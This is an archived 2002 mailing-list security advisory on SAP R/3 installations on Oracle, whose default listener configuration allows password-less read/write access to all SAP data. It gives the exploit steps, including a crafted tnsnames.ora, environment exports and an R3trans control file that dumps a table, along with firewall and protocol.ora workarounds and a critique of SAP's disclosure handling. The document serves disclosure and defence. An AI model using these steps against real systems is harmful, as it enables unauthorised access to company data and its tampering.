OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Jochen Hein (jochenjochen.org)
Date: Sat Apr 27 2002 - 02:06:19 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

                  SAP R/3 on Oracle: vulnerable Default Installation

       Topic: SAP R/3 on Oracle: vulnerable Default Installation
       Module: Default Oracle Listener Configuration
       Announced: 2002-04-27
       Affects: All R/3 Releases using SQL*net V2 (3.x, 4.x, 6.10)
       Vendor: [1]SAP AG, Walldorf, Germany
       Vendor-Status: 2002-03-03: informed
                      2002-03-05: problem acknowledged

    Synopsis

       Every user having network access to the oracle listener port on the
       database host may read/write/modify any SAP data.

    Exploit

       Needed knowledge: IP address (and port) of the database host and the
       System ID (SID). You may get them with a packet sniffer, social
       engineering or just running sapinfo against a running SAP R/3. sapinfo
       also tells you the R/3 release, which we'll need (we use R3trans of
       that release.

       With these informations an attacker can create a local user sidadm,
       craft a tnsnames.ora and an environment for running R3trans.
      SID.world =
      (DESCRIPTION =
        (ADDRESS_LIST =
            (ADDRESS =
              (COMMUNITY = sap.world)
              (PROTOCOL = TCP)
              (Host = hostname)
              (Port = 1527)
            )
        )
        (CONNECT_DATA =
           (SID = SID)
           (GLOBAL_NAME = SID.world)
        )
      )

       And running the commands (note you need the R3trans from the target
       R/3 release):
    sidadm> export TNS_ADMIN=$HOME/
    sidadm> export ORACLE_HOME=/oracle/SID
    sidadm> export ORACLE_SID=SID
    sidadm> export PATH="$PATH:/oracle/SID/817_32/bin:/usr/sap/SID/SYS/exe/run"
    sidadm> export dbms_type=oraexport DIR_LIBRARY=/usr/sap/SID/SYS/exe/run
    sidadm> export dbs_ora_tnsname=SID
    sidadm> export TNS_ADMIN=/home/sidadm
    sidadm> cat control
    export
    compress=no
    client=000
    # select table where name = T000
    select * from t000
    sidadm> R3trans control
    ...
    sidadm> strings trans.dat
    ...
    q 000SAP AG Walldorf DEM [...]
    q 001Auslieferungsmandant R11 Kundstadt EUR [...]
    ...

    Impact

       Any user on the local network can access any SAP data read/write
       without password. No SAP authority checks are applied.

    Affected Versions

       All R/3 Releases using SQL*net V2 (3.x, 4.x, 6.10), regardless of the
       Oracle release.

       I don't have access to SAP R/3 on other databases, so I can't comment
       on wether or not they are affected. The vulnerability affects both
       Unix and NT.

    Workaround

       Workaround is to restrict access to the Oracle port either with
       network means (a firewall) or using the following protocol.ora options
       on the database server:
    tcp.nodelay = true
    tcp.validnode_checking = yes
    tcp.invited_nodes = ( hostname, hostname )

    Proposed Fixes

       SAP should document the impact of not protecting the database port in
       the security guide. As of now most customers ignore that.

       SAP should have added a default protocol.ora to the default
       installation and/or to the installation guides. And SAP should not use
       words like "may gain". Spell the consequences out!

       SAP should document that changing the database password will not
       protect the database at all when network access to the listener is
       possible.

    Vendor Status

       SAP knows that problem since at least November 1999

       SAP says in the "security guide":

       "By placing your SAP system servers in a separate subnet, you increase
       the access control to your server LAN, thereby increasing the security
       level of your system."

       This is very vague. Most SAP customers are afraid to add a firewall
       because that may be a single point of failure and is not seemed
       neccesary in a "trusted" LAN.

       "We discourage placing SAP System servers into any existing subnet
       without first considering the appropriate security issues".

       Uh, and what are these issues? SAP spells never out that there is
       otherwise NO protection AT ALL.

       There is also a paragraph about Packet Filers:

       "By specifying a set of rules based on IP addresses and TCP ports, you
       can select which kinds of network services are accessible over the
       network. You should configure your router or packet filter to route
       connecttions to a defined subset of ports only, based on the services
       that you require."

    Remarks

       SAP knows of this hole since at least 1999. This hole has been
       documented in books about SAP security and on the Internet since July
       2000, but SAP never alerted its customers or changed the default
       installation.

       A recent alert to SAP resulted in a "thanks, we are working on a fix",
       but SAP failed to give a timeframe or strategy they follow to fix the
       problem. Since the last response was more than a month back, I decided
       to publish this advisory anyway.

       SAP has never issued a public acknowledge, and has no prominent
       website available to check for security issues and fixes. No, the SAP
       security guide is not sufficient.

       The feedback from SAP has first been timely, but never useful for
       their customers.

    References

       A complete exploit and more remarks are (in German) [2]here.

       OSS note 186119.

          _______________________________________________________________

        [3]Jochen Hein

       Last modified: Sat Apr 27 08:59:06 CEST 2002

    Verweise

       1. http://www.sap.com/
       2. http://www.lan-ks.de/~jochen/sap-r3/ora-hack.html
       3. mailto:jochenjochen.org

    -- 
    #include <~/.signature>: permission denied